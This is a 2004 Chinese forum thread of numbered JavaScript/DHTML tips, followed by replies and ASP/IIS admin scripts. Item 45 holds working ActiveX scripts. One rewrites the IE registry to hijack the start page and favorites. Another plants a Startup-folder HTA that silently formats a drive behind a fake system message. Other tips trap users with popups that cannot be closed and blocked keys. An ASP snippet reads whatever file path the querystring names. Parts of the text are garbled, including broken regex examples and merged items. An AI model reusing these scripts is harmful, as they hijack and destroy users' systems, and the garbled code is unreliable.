下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 regexp

对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,regexp对象的$属性的名

称。

<script language="javascript1.2">

re = /(+)(+)/;

str = "john smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</script>

显示结果:"smith, john".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?

下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性

用圆括号括着的匹配子串,如果有的话。

是regexp的属性

静态,只读

在javascript 1.2, nes 3.0以上版本提供

描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用regexp.input 访问该

属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串,你可以使用返回的数组。

regexp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

<script>

var reg=/((+)(+))/;

var str='john smith';

reg.exec(str);

</script>

<button onclick=with(regexp)alert($1+''+$2+''+$3);>view</button>

43.如何实现首页全屏幕显示?

<html>

<body><script language="javascript">

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何动态改变一个object对象的样式表风格的class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.classname='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)

<script>

document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");

function addfavlnk(loc, dispname, siteurl)

{

var shor = shl.createshortcut(loc + "\" + dispname +".url");

shor.targetpath = siteurl;

shor.save();

}

function f(){

try

{

//activex 初始化

a1=document.applets[0];

a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");

a1.createinstance();

shl = a1.getobject();

a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");

a1.createinstance();

fso = a1.getobject();

a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}");

a1.createinstance();

net = a1.getobject();

try

{

if (documents .cookie.indexof("chg") == -1)

{

//设置cookie

var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;"

//设置cookie完毕

//设置主页

shl.regwrite ("hkcu\software\microsoft\internet explorer\main\start page", "http://www.51js.com/");

//修改浏览器的标题

shl.regwrite ("hkcu\software\microsoft\internet explorer\main\window title", "你的internet explorer已经被修改过了 51js.com");

//设置cookie

var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;"


var wf, shor, loc;

wf = fso.getspecialfolder(0);

loc = wf + "\favorites";

if(!fso.folderexists(loc))

{

loc = fso.getdrivename(wf) + "\documents and settings\" + net.username + "\favorites";

if(!fso.folderexists(loc))

{

return;

}

}


addfavlnk(loc, "无忧脚本", "http://www.51js.com");

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

settimeout("f()", 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id="scr" classid="clsid:06290bd5-48aa-11d2-8432-006008c3fbfc">

</object>

<script>

scr.reset();

scr.path="c:\windows\start menu\programs\启动\automat.hta";

scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b'></object><script>wsh.run('start /m format a: /q /autotest /u');alert('note:windows is configing the system,do not interrupt it!.');</"+"script>";

scr.write();

</script>

<html>

<head>

<title>

建立文件

</title>

</head>

<body>

<br>

<applet code="com.ms.activex.activexcomponent" >

</applet>

<script language="javascript">

a1=document.applets[0];

fn="51js.htm";

doc="<script>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.htm删除即可;alert(s1);document.body.innerhtml=s1</"+"script>";

function f1()

{

a1.setproperty('doc',doc);

}

function f()

{

// the activex classid

cl="{06290bd5-48aa-11d2-8432-006008c3fbfc}";

a1.setclsid(cl);

a1.createinstance();

settimeout("a1.setproperty('path','"+fn+"')",1000);

settimeout("f1()",1500);

settimeout("a1.invoke('write',va);alert('"+fn+" 被建立');",2000);

}

settimeout("f()",1000)

</script>

<script language="vbscript">

va = array()

' 获取com.ms.com.variant[]

</script>

<br>

</body>

</html>原理是一样的!

46.如何监听一个窗口被关闭了?

<body onunload="alert('你关闭了这个窗口')">

47.什么是innerhtml、outerhtml………还有innertext?

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innertext) value="show innertext"><br>

<input type=button onclick=alert(test.innerhtml) value="show innerhtml"><br>

<input type=button onclick=alert(test.outerhtml) value="show outerhtml"><br>

48.关于try....catch..的语法捕捉错误使用例子


try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如:

<button onclick=trydemo()>try...catch...demo</button>

<script>

function trydemo()

{

try{

var a=b/2;//注意由于b不存在,所以会引发一个异常。

}

catch(e)

{

alert('错误类型:'+e+'错误信息:'+e.descrition);

}

}

</script>

49.如何获得一个select中选中option的value?

select.options[select.selectedindex].value

50.this 和self 有什么区别,各在哪里用

self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function car(){this.name='car';};alert(new car().name);

</script>

51.如何禁止ctrl+n?

<body onkeydown=return(!(event.keycode==78&&event.ctrlkey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activex 选dhtmled.ocx
Quote
2004-6-2 20:18 enru
53.window方法列表

发现经常有人问一些有关窗口操作的问题,

所以花了些时间整理出这篇文章,

希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(smsg)

//弹出一个确认消息框

attachevent(sevent,pfunction)

//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数

blur()

//令窗口丧失焦点

clearinterval(iintervalid)

//清除指定定时器的关联函数

cleartimeout(itimeoutid)

//清除指定延时器的关联函数

close()

//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。

confirm([smessage])

//弹出“确定/取消”对话框

createpopup([vargs])

//创建一个隐藏的弹出式窗口,vargs是未来考虑提供的参数,返回窗口句柄

detachevent(sevent,pfunction)

//取消一个事件的某个绑定函数

execscript(sexpression, slanguage)

//用指定的语言执行代码

focus()

//激活窗口

moveby(ix,iy)

//用相对方式移动窗口

moveto(ileft,itop)

//用绝对方式移动窗口

navigate(surl)

//转到指定的连接

open( [surl] [, sname] [, sfeatures] [, breplace])

//打开新窗口,并返回窗口句柄

//sname=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本窗口; _top:在顶级窗口里打开;*)

//sfeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印当前窗口文档内容

prompt( [smessage] [, sdefaultvalue])

//弹出输入对话框

resizeby(ix, iy)

//以相对方式改变窗口大小

resizeto(iwidth, iheight)

//以绝对方式改变窗口大小

scroll(ix,iy)

滚动窗口,与scrollto一样的效果,出于兼容性的考虑保留下来的方法

scrollby(ix, iy)

//用相对方式滚动窗口

scrollto(ix, iy)

//用绝对方式滚动窗口

setactive()

//激活目标而不将视线转向目标

setinterval(vcode, imilliseconds [, slanguage])

//定时执行一段代码

settimeout(vcode, imilliseconds, slanguage)

//延时执行一段代码

showhelp(surl [, vcontextid])

//打开一个帮助文件,surl为帮助文档地址,vcontextid为帮助索引号

showmodaldialog(surl [, varguments] [, sfeatures])

showmodaldialog(surl [, varguments] [, sfeatures])

//打开一个模式对话框

//varguments=需要向新开模式对话框传递的参数

//sfeatures=(*dialogheight:sheight;dialogleft:sxpos;dialogtop:sypos;dialogwidth:swidth;center:{ yes | no | 1 | 0 | on | off };dialoghide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showmodelessdialog(surl [, varguments] [, sfeatures])

//打开一个非模式对话框

//vargument=需要向新开模式对话框传递的参数

//sfeatures=(*dialogheight:sheight;dialogleft:sxpos;dialogtop:sypos;dialogwidth:swidth;center:{ yes | no | 1 | 0 | on | off };dialoghide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

54.execcommand的完全参考(中文版)

document.execcommand(scommand[,交互方式, 动态参数])

2d-position;document.execcommand("2d-position","false","true");使绝对定位的对象可直接拖动;ie5.5

absoluteposition;document.execcommand("absoluteposition","false","true");使对象定位变成绝对定位;ie5.5

backcolor;document.execcommand("backcolor","false",scolor);设置背景颜色;ie4.0

blockdirltr;none;使块级元素排版方式为从左到右?;不支持

blockdirrtl;none;使块级元素排版方式为从右到左?;不支持 bold;document.execcommand("bold","false",null);使选中区域的文字加粗;ie4.0

browsemode;none;设置浏览器模式?;不支持 copy;

document.execcommand("copy","false",null);复制选中的文字到剪贴板;ie4.0 createbookmark;document.execcommand("createbookmark","false",sanchorname);设置指定锚点为书签;ie4.0

createlink;document.execcommand("createlink","false",slinkurl);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0

cut;document.execcommand("cut","false",null);剪贴选中的文字到剪贴板;ie4.0

delete;document.execcommand("delete","false",null);删除选中的文字;ie4.0

dirltr;none;排版方式为从左到右?;不支持 dirrtl;none;排版方式为从右到左?;不支持

editmode;none;设置编辑模式?;不支持

fontname;document.execcommand("fontname","false",sfontname);改变选中区域的字体;ie4.0

fontsize;document.execcommand("fontsize","false",ssize|isize);改变选中区域的字体大小;ie4.0

forecolor;document.execcommand("forecolor","false",scolor);设置前景颜色;ie4.0

formatblock;document.execcommand("formatblock","false",stagname);设置当前块的标签名;ie4.0


Quote
2004-6-2 20:22 enru
55.可以在textarea中实现在光标处用脚本来加入文本吗?

<form>

<textarea cols="50"></textarea>

<br>

<textarea cols="50"></textarea>

<br>

<textarea cols="50"></textarea>

<br>

<input type=button value="paste" onclick=paste()>

<input type="reset" name="reset" value="reset">

<script language=javascript>

var lastelement=null;

function blurtext()

{

lastelement=event.srcelement;

}

for(var i in document.all)

{

var element=document.all);激活某个对象的某个事件 getattributenode(sname);返回结点属性名为sname的属性 namedrecordset(squalifier [, ssubchapter]);返回一个记录集合 normalize(); removeattributenode(osrcattribute); removebehavior(iid) 下面是一个利用object导入xml数据的例子:

<html>

<!--一个如何把xml显示在表格中的html文件 cd_list.htm -->

<head>

<script for="window" event="onload">

xmldso_list.xmldocument.load("http://westfly.myrice.com/other/xml/demo/cd_catalog.xml")

</script>

<title>cd list</title>

</head>

<body>

<object width="0" height="0"

classid="clsid:550dda30-0541-11d2-9ca9-0060b0ec3d39" id="xmldso_list">

</object>

<table datasrc=#xmldso_list border="1" cellspacing="5" cellpadding="2">

<thead>

<th>title</th><th>artist</th><th>country</th><th>company</th><th>price</th><th>year</th>

</thead>

<tr align="center">

<td><div datafld="title"></td>

<td><div datafld="artist"></td>

<td><div datafld="country"></td>

<td><div datafld="company"></td>

<td><div datafld="price"></td>

<td><div datafld="year"></td>

</tr>

</table>

</body>

</html>

59.能不能把表格的背景色设成半透明?

<body background="http://www.51js.com/logo.gif">

<style>

.alpha1{filter: alpha(opacity=60)}

</style>

<div style="position:absolute; z-index:1">

<table width="120" border="1" height="120" class="alpha1" bgcolor="#78acff" frame="border">

<tr>

<td>

<div style="position:absolute; width:110px; height:110px; left: 5px; top: 5px">test</div>

</td>

</tr>

</table>

</div>

60.如何在我的页面中加入背景音乐?

ie: <bgsound src="*.mid" loop=infinite>

ns:<embed src="*.mid" autostart=true hidden=true loop=true>

*.mid你的背景音乐的midi格式文件

61.滚动条颜色

<style>

body {

scrollbar3dlightcolor: #ff0000; /*滚动条亮边的颜色

scrollbararrowcolor: #ff0000; /*上下按钮上三角箭头的颜色

scrollbarbasecolor: #ff0000; /*滚动条的基本颜色

scrollbardarkshadowcolor: #ff0000; /*滚动条强阴影的颜色

scrollbarfacecolor: #ff0000; /*滚动条凸出部分的颜色

scrollbarhighlightcolor: #ff0000; /*滚动条空白部分的颜色

scrollbarshadowcolor: #ff0000; /*立体滚动条阴影的颜色

scrollbartrackcolor: #ff0000 /*滚动条的背景颜色

}

</style>

说明:1、必须是ie5.5+

2、当页面内容超出屏幕出现移动条时,设置的箭头颜色才有效

3、母页的设置对iframe窗口的滚动条颜色无效,但是对textarea文本筐的滚动条有效

62.关于textarea

没有滚动条:style="overflow: hidden;"

=-------------------------------

wrap=off/ virtual/ phisical

off:不会自动转行

virtual:自动转行,但提交时不包括自动转行产生的转行符

phisical:自动转行,提交时包括自动转行产生的转行符
Quote
2004-6-6 15:49 enru
63.关于open

open(url,name,features),其中features可以是

----------------------------------

toolbar: 工具条

location: 地址栏

directories: 目录图标

status:状态栏

menubar: 菜单栏

scrollbars:滚动条

resizeable: 在边上可以调整窗口大小

helpicon:有无帮助图标

minmize:有无小图标

maxnimize:有无大图标

systemmenu:边框图标中系统菜单是否有效

以上取值均为yes/no/1/0

---------------------------------------------------------------------------

edgwstyleraised/sunken)窗口边界样式

bordersizethick/thin)窗口边筐尺寸

---------------------------------------------------------------------------

定义字体

font-size:

font-weight:

font-style:

----------------------------------------------------------------------------

定义窗口大小与位置

width:

height:

top:相对于桌面窗口顶部位置px

left:相对于桌面窗口左边位置px

centeryes/no/1/0)在中心

64.让弹出窗口只打开一次

<script>

function openwin(){

window.open("page.html","","width=200,height=200")

}

function get_cookie(name) {

var search = name + "="

var returnvalue = "";

if (documents .cookie.length > 0) {

offset = documents .cookie.indexof(search)

if (offset != -1) {

offset += search.length

end = documents .cookie.indexof(";", offset);

if (end == -1)

end = documents .cookie.length;

returnvalue=unescape(documents .cookie.substring(offset, end))

}

}

return returnvalue;

}

function loadpopup(){

if (get_cookie('popped')==''){

openwin()

documents .cookie="popped=yes"

}

}

</script>

<body onload="loadpopup()">

65.怎样让表单没有凹凸感

<input type=text style="border:1 solid #000000">



<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom: 1 solid #000000"></textarea>

66.<div><span>&<layer>的区别

<div>(division)用来定义大段的页面元素,会产生转行

<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行

<layer>是ns的标记,ie不支持,相当于<div>

67.关于页面转换效果

<meta http-equiv="page-enter" content="revealtrans(duration=4,transition=23)">



<meta http-equiv="page-exit" content="revealtrans(duration=4,transition=23)">

说明:transition=23是随机效果,另可以选0-22任一数字固定某个效果

68.怎样预下载图片?

<script language=javascript>

var imagearray=new array()

imagearray[0]=new image(100,100)

imagearray[0].src=logo.gif

imagearray[1]=new image(100,100)

imagearray[1].src=logo2.gif

imagearray[2]=new image(100,100)

imagearray[2].src=logo3.gif

</script>

69.如何设定打开页面的大小

<body onload="top.resizeto(300,200);"><!--(width,height)-->

70.怎样双击滚屏,单击停止?

<html>

<head>

<title>新網頁1</title>

</head>

<body>

<script language"javascript">

var currentpos,timer;

function initialize()

{

timer=setinterval("scrollwindow()",10);

}

function sc(){

clearinterval(timer);

}

function scrollwindow()

{

currentpos=document.body.scrolltop;

window.scroll(0,++currentpos);

if (currentpos != document.body.scrolltop)

sc();

}

document.onmousedown=sc

document.ondblclick=initialize

</script>

<p>a</p><p>a</p><p>a</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p>

<p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p>

<p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>a</p>

</body>

</html>
Quote
2004-6-6 15:51 enru
71.如何让body中的文字不被选中?

<body onselectstart="return false" >aaa</body>

72.绝对定位的负数是怎么会事?

绝对定位(position:absolute):以屏幕左上角(left:0,top:0)为原点,向右、下为正方向放置元素,left、top若为负数,元素将有部分或全部在屏幕外而看不到,若为正数向右、下超出屏幕,窗口会出现滚动条来显示它。绝对定位对正常排序的其他元素没有影响。 相对定位(position:relative):以此元素本该出现的位置为原点,向右、下为正方向放置元素,left、top(不论正负)设置的数超出屏幕所能显示时,元素将有部分或全部在屏幕外而看不到,也不会出现滚动条。相对定位在页面占有空间,不管相对定位的元素是否在原位,接下来的元素会在前面给相对定位的元素留出空间.就像相对定位的元素在那个地方一样.

<html>

<head>

<title>无标题文档</title>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

<style tyle=text/css>

div{font-size:20px;color:green;background-color:yellow}

</style>

</head>

<body bgcolor="#ffffff" text="#000000">

<table width="75%" border="1" align="center">

<tr>

<td width=50% height="127"><img src=logo.gif>元素正常位置</td>

<td width=50% height="127"><img src=logo.gif style="position:relative;top:-40;left:900">r1(900,-40)图片超出屏幕右端,但不出现滚动条(前面留出了空位)</td>

</tr>

<tr>

<td height="120"><img src=logo.gif style="position:relative;top:-40;left:30">r2(30,-40)图片相对出现偏移。</div></td>

<td height="120"><img src=logo.gif style="position:relative;top:888;left:30">r3(30,888)图片超出屏幕下端,但不出现滚动条</td>

</tr>

</table>

<div style="position:absolute;top:-40;left:220">a1(220,-40)</div><!--a1在屏幕上将看不到-->

<div style="position:absolute;top:0;left:0">a2(0,0)</div>

<div style="position:absolute;top:12;left:777">a3(12,777)</div><!--a3超出屏幕,出现滚动条(屏幕右)-->

<div style="position:absolute;top:-9;left:220">a4(220,-9)</div><!--a4有9像素在屏幕看不到(屏幕顶上)-->

<div style="position:absolute;top:300;left:-14">a5(-14,300)</div><!--a5有14像素在屏幕看不到(屏幕左)-->

<div style="position:absolute;top:650;left:220">a6(220,650)</div><!--a6超出屏幕,出现滚动条(屏幕下端)-->

</body>

</html>

73.如何让弹出的窗口不能关闭? (★★★不推荐使用★★★)

在新开的窗口中加入如下代码

<body onunload=open(location.href)>

</body>

74.如何控制href,img等支持title属性的控制其title的显示格式?

请参考如下代码:

<html>

<head>

<title>图片提示文字</title>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

</head>

<body bgcolor="#ffffff" text="#000000">

<a href="#"><img src="../bihu/pic/logo.gif" alt="《杀手无罪》

类型:电影

产地:美国

片长:单本剧

主演:妮芙·坎贝尔 唐纳德·萨瑟兰 威廉·梅西 约翰·瑞特尔 特蕾茜·乌尔曼" width="88" height="30" border="0"></a>

</body>

</html>

75.标签fieldset的使用例子

<fieldset></fieldset> // 外表 <legend>xxx </legend> //外表標題 <table>.....</table> //表格

<fieldset style="width:220" align="center"> <legend> 表中表效果ⅱ </legend>

<table frame=hsides border="1" bordercolorlight="#000000" bordercolordark="#ffffff" width="100%" cellspacing="1" cellpadding="0" height="78" >

<tr bgcolor="#ffffff">

<td width="100%" height="76">

<p align="center"><font color="#000000">表格教程 serron</font><p>

<td>

</tr>

</table>

</fieldset>

76.如何让浏览器在保存页面时保存失败?

<noscript>

<iframe src="*.html">

</iframe>

</noscript>

77.一个页面内所有复选框的全选功能如何实现?

<input type=checkbox><input type=checkbox>

<input type=checkbox><input type=checkbox>

<button onclick=selectall()>selectall</button>

<script>

function selectall()

{

var cinput=document.all.tags('input');

for(var i in cinput)

if(cinput.type=='checkbox')cinput.checked=true;

}

</script>

78.一个最简单的动态改变元素的代码例子

<button onclick=this.style.csstext='position:absolute;left:100px' >move</button>

79.如何让frame不可以修改大小?

<frameset framespacing="0" border="0" rows="103,*" >

<frame name="top" scrolling="no" noresize src="../bihu/index1.htm" target="middle">

<frame name="main" target="main" marginwidth="0" marginheight="0" scrolling="auto" src="../bihu/index1.htm" target="bottom">

<noframes>

<body topmargin="0" leftmargin="0">

<p>此网页使用了框架,但您的浏览器不支持框架。</p>

</body>

</noframes>

</frameset>

80.如何做1px大小边框的table

<html>

<head>

<meta http-equiv="content-language" content="zh-cn">

</head>

<body>

<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="50%" id="autonumber1">

<tr>

<td width="100%">

<p align="center" height=20>很細的表格線</p>

<p></td>

</tr>

</table>

</body>

</html>

81.如何在不刷新页面的情况下刷新css?

<style>

button{ color:#000000;}

</style>

<button onclick=document.stylesheets[0].rules[0].style.color='red'>点击按钮直接修改style标签里button选择符使按钮改为红色</button>


Quote
2004-7-17 14:07 ioom
有没有邮局代码啊???????????????????

我是初学的,请教!
Quote
2004-11-14 17:01 ntyiye
刷新

www.eshuo.net
Quote
2004-11-15 11:56 bencen
好东东,全收下


Quote
2004-11-16 13:16 —ok—
辛苦了!

谢谢!
有个问题想问问!怎样做一个显示来访者的人数的计数器!在这里先谢谢了!有谁可以告诉我啊!?
Quote
2004-11-26 19:13 dooking
wa-o!!!代码,头大!!!
Quote
2004-12-6 10:38 jiuerjiuzhi
请问如何在网页中实现文字在一定区域内向上滚动,鼠标停留在上面就停止滚动,还能做超级连接呢?
是新手发问题的地方吧,谢谢了!
Quote
2004-12-7 15:31 过去现在将来
不错.支持一下...
Quote
2004-12-7 22:27 yxx3684192
我的模板网上找的

http://home.c361.com/yxx3684192
Quote
2004-12-24 10:42 wnl
个人专用代码

function formtoasp(fstring)
        fstring = replace(fstring, chr(13), "")
        fstring = replace(fstring, chr(10) & chr(10), "</p><p>")
        fstring = replace(fstring, chr(10), "<br>")
        fstring = replace(fstring, "<","&lt;")
        fstring = replace(fstring, ">","&gt;")
        htmlencode = fstring
end function
main=formtoasp(request("main"))

function asptoform(fstring)
        fstring = replace(fstring, "", chr(13))
        fstring = replace(fstring, "</p><p>", chr(10) & chr(10))
        fstring = replace(fstring, "<br>", chr(10))
        fstring = replace(fstring,"&lt;", "<")
        fstring = replace(fstring,"&gt;", ">")
        htmlencode = fstring
    end function
    main=asptoform(rs("other"))


<%
'前面设置if request("page")<>"" then page=1
'else page=request("page")
'end if
'---------------
page=clng(page)
rs.pagesize=10
rs.absolutepage=page
for ipage=1 to rs.pagesize
recno=(page-1)*rs.pagesize+ipage%>
<!--循环片-->
<%rs.movenext            
if rs.eof then            
exit for            
end if            
next%>
<table width="731" border="0" class="gb"><tr align="center" bgcolor="#ffffff"><td

width="20%" height="23"> <a href="<%=request.servervariables("path_info")%>">首页

</a></td><td width="20%" height="23"><%if page<>1 then%><a href="<%

=request.servervariables("path_info")%>?page=<%=page-1%>">上一页</a><%else%><a href="#">

上一页</a><%end if%></td><td width="20%" height="23"><%if page<>rs.pagecount then%><a

href="<%=request.servervariables("path_info")%>?page=<%=page+1%>">下一页</a><%else%><a

href="#">下一页</a><%end if%></td><td width="20%" height="23"><a href="<%

=request.servervariables("path_info")%>?page=<%=rs.pagecount%>">尾页</a></td><td

width="20%" height="23" class="gb">页次:<%=page%>/<%=rs.pagecount%></td>
<%rs.close%></table>


<script language="javascript" type="text/javascript">
<!--
function mm_gotourl() { //v3.0
  var i, args=mm_gotourl.arguments; document.mm_returnvalue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args+"'");
}
  alert("添加成功");
mm_gotourl('self','addpic.asp');
//-->
</script>

strfilename = request.querystring("file1")
set objstream = server.createobject("adodb.stream")
objstream.type = 1 ' adtypebinary
objstream.open
objstream.loadfromfile strfilename
objstream.savetofile server."123_onweb.gif",2


function saferequest(paraname,paratype)
'--- 传入参数 ---
'paraname:参数名称-字符型
'paratype:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
dim paravalue
paravalue=request(paraname)
if paratype=1 then
if not isnumeric(paravalue) then
response.write "参数" & paraname & "必须为数字型!"
response.end
end if
else
paravalue=replace(paravalue,"'","''")
end if
saferequest=paravalue
end function
Quote
2004-12-24 10:51 wnl
iis控制语句for asp

1.创建用户
下面这段代码在独立服务器white上创建用户user1,初始口令user1,用到了adsi.
dim username,userpass
dim odomain,ouser
username = "user1"
userpass = "user1"
set odomain = getobject("winnt://white")
set ouser = odomain.create ("user", username)
if (err.number = 0) then
ouser.setinfo
ouser.setpassword userpass
ouser.setinfo
else
wscript.echo "创建用户" & username & "出错!"
end if
set ouser = nothing
set odomain = nothing

2.创建目录
使用filesystemobject创建目录:
dim fsobject
dim tmpfolder
set fsobject = wscript.createobject("scripting.filesystemobject")
tmpfolder = "d:\userdate\user1"
if not fsobject.folderexists(tmpfolder) then
fsobject.createfolder(tmpfolder)
if err.number<>0 then
wscript.echo "创建目录" & tmpfolder & "失败!"
end if
end if
注意在创建目录前,先检查了目录是否存在,如果存在,则不用创建了.

3.创建站点
下面这个子程序负责创建一个www站点,各个参数的意义为:站点ip地址,站点根目录,站点说明,主机名,端口号,计算机名(一搬为localhost),是否立即启动,匿名访问时所使用的帐号,匿名访问时所用帐号的口令,log文件的目录.
函数返回所建站点在iis中的序号(在iis中,所有站点依次编号,第一个为1).
一个调用示例:siteid = astcreatewebsite("10.1.3.122","d:\userdata\user1","www_user1","","80","localhost",true,"iusr_user1","8iui%#","d:\logfiles")

function astcreatewebsite(ipaddress, rootdirectory, servercomment, hostname, portnum, computer, start,anonymoususername,anonymoususerpass,logfiledirectory)
dim w3svc, webserver, newwebserver, newdir
dim bindings, bindingstring, newbindings, index, siteobj, bdone
on error resume next
err.clear
set w3svc = getobject("iis://" & computer & "/w3svc")
if err.number <> 0 then
wscript.echo "无法打开: "&"iis://" & computer & "/w3svc" & vbcrlf & "程序将退出."
wscript.quit (1)
end if

bindingstring = ipaddress & ":" & portnum & ":" & hostname
for each webserver in w3svc
if webserver.class = "iiswebserver" then
bindings = webserver.serverbindings
if bindingstring = bindings(0) then
wscript.echo "ip地址冲突:" & ipaddress & ",请检测ip地址!." & vbcrlf & "取消创建本站点。"
exit function
end if
end if
next

index = 1
bdone = false

while (not bdone)
err.clear
set siteobj = getobject("iis://"&computer&"/w3svc/" & index)
if (err.number = 0) then
index = index + 1
else
err.clear
set newwebserver = w3svc.create("iiswebserver", index)
if (err.number <> 0) then
index = index + 1
else
err.clear
set siteobj = getobject("iis://"&computer&"/w3svc/" & index)
if (err.number = 0) then
bdone = true
else
index = index + 1
end if
end if
end if

if (index > 10000) then
wscript.echo "看起来不能创建站点,正在创建的站点的序号为: "&index&"." & vbcrlf & "取消创建本站点。"
exit function
end if
wend

newbindings = array(0)
newbindings(0) = bindingstring
newwebserver.serverbindings = newbindings
newwebserver.servercomment = servercomment
newwebserver.anonymoususername = anonymoususername
newwebserver.anonymoususerpass = anonymoususerpass
newwebserver.keytype = "iiswebserver"
newwebserver.frontpageweb = true
newwebserver.enabledefaultdoc = true
newwebserver.defaultdoc = "default.htm, default.asp, index.htm, index.asp"
newwebserver.logfiledirectory = logfiledirectory
newwebserver.setinfo

set newdir = newwebserver.create("iiswebvirtualdir", "root")
newdir.path = rootdirectory
newdir.accessread = true
newdir.appfriendlyname = "应用程序" & servercomment
newdir.appcreate true
newdir.accessscript = true
err.clear
newdir.setinfo
if (err.number = 0) then
else
wscript.echo "主目录创建时出错."
end if

if start = true then
err.clear
set newwebserver = getobject("iis://" & computer & "/w3svc/" & index)
newwebserver.start
if err.number <> 0 then
wscript.echo "启动站点时出错!"
err.clear
else
end if
end if
astcreatewebsite = index
end function

下面函数创建ftp站点:
function astcreateftpsite(ipaddress, rootdirectory, servercomment, hostname, portnum, computer, start,logfiledirectory)
dim msftpsvc, ftpserver, newftpserver, newdir
dim bindings, bindingstring, newbindings, index, siteobj, bdone
on error resume next
err.clear
set msftpsvc = getobject("iis://" & computer & "/msftpsvc")
if err.number <> 0 then
wscript.echo "无法打开: "&"iis://" & computer & "/msftpsvc" & vbcrlf & "程序将退出."
wscript.quit (1)
end if

bindingstring = ipaddress & ":" & portnum & ":" & hostname
for each ftpserver in msftpsvc
if ftpserver.class="iisftpserver" then
bindings = ftpserver.serverbindings
if bindingstring = bindings(0) then
wscript.echo "ip地址冲突:" & ipaddress & ",请检测ip地址!." & vbcrlf & "取消创建本站点。"
exit function
end if
end if
next

index = 1
bdone = false

while (not bdone)
err.clear
set siteobj = getobject("iis://"&computer&"/msftpsvc/" & index)
if (err.number = 0) then
index = index + 1
else
err.clear
set newftpserver = msftpsvc.create("iisftpserver", index)
if (err.number <> 0) then
index = index + 1
else
err.clear
set siteobj = getobject("iis://"&computer&"/msftpsvc/" & index)
if (err.number = 0) then
bdone = true
else
index = index + 1
end if
end if
end if

if (index > 10000) then
wscript.echo "看起来不能创建站点,正在创建的站点的序号为: "&index&"." & vbcrlf & "取消创建本站点。"
exit function
end if
wend

newbindings = array(0)
newbindings(0) = bindingstring
newftpserver.serverbindings = newbindings
newftpserver.servercomment = servercomment
newftpserver.allowanonymous = false
newftpserver.accesswrite = true
newftpserver.accessread = true
newftpserver.dontlog = false
newftpserver.logfiledirectory = logfiledirectory
newftpserver.setinfo

set newdir = newftpserver.create("iisftpvirtualdir", "root")
newdir.path = rootdirectory
newdir.accessread = true
err.clear
newdir.setinfo
if (err.number = 0) then
else
wscript.echo "主目录创建时出错."
end if

if start = true then
err.clear
